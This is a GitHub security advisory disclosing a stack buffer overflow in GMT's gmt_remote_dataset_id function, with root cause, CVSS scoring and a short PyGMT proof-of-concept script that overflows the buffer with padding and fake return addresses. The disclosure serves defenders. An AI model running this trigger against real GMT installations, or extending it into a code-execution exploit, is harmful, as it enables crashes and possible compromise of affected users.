Skip to content

Stack-based Buffer Overflow in gmt_remote_dataset_id

High
joa-quim published GHSA-fqxx-62x7-9gwg Mar 17, 2026

Package

GenericMappingTools/gmt (C/C++)

Affected versions

<= 6.6.0

Patched versions

None

Description

Summary

A stack-based buffer overflow vulnerability was identified in the gmt_remote_dataset_id function within src/gmt_remote.c. This issue occurs when a specially crafted long string is passed as a dataset identifier (e.g., via the which module), leading to a crash or potential arbitrary code execution.

Details

The vulnerability is caused by the unsafe use of strcpy (or similar unbounded string operations) when copying a user-controlled dataset name into a fixed-size stack buffer file[PATH_MAX].

  • Vulnerable Function: gmt_remote_dataset_id
  • Vulnerable File: src/gmt_remote.c
  • Root Cause: Lack of input length validation before copying to a stack buffer.

When an input exceeds PATH_MAX (typically 4096 bytes), it overwrites the stack frame, including the return address. This was confirmed using AddressSanitizer (ASan), which reported a stack-buffer-overflow.

PoC

The following Python script using PyGMT reproduces the crash:

import struct
from pygmt.clib import Session

with Session() as lib:
    # Payload designed to overflow the stack buffer
    padding = "A" * 4096
    fake_ret = struct.pack("<Q", 0x4141414141414141) * 100
    payload = padding + fake_ret.decode("latin-1")
    
    # Trigger the overflow via the 'which' module
    lib.call_module("which", [payload])

Impact

This is a memory safety vulnerability.

  • Who is impacted: Any user or application using GMT via the C API or higher-level interfaces like PyGMT that processes untrusted dataset names.
  • Consequences: At minimum, it causes a Denial of Service (DoS) via program crash. In certain environments, it could potentially be exploited for arbitrary code execution.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

CVE ID

CVE-2026-33147

Weaknesses

Stack-based Buffer Overflow

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function). Learn more on MITRE.

Credits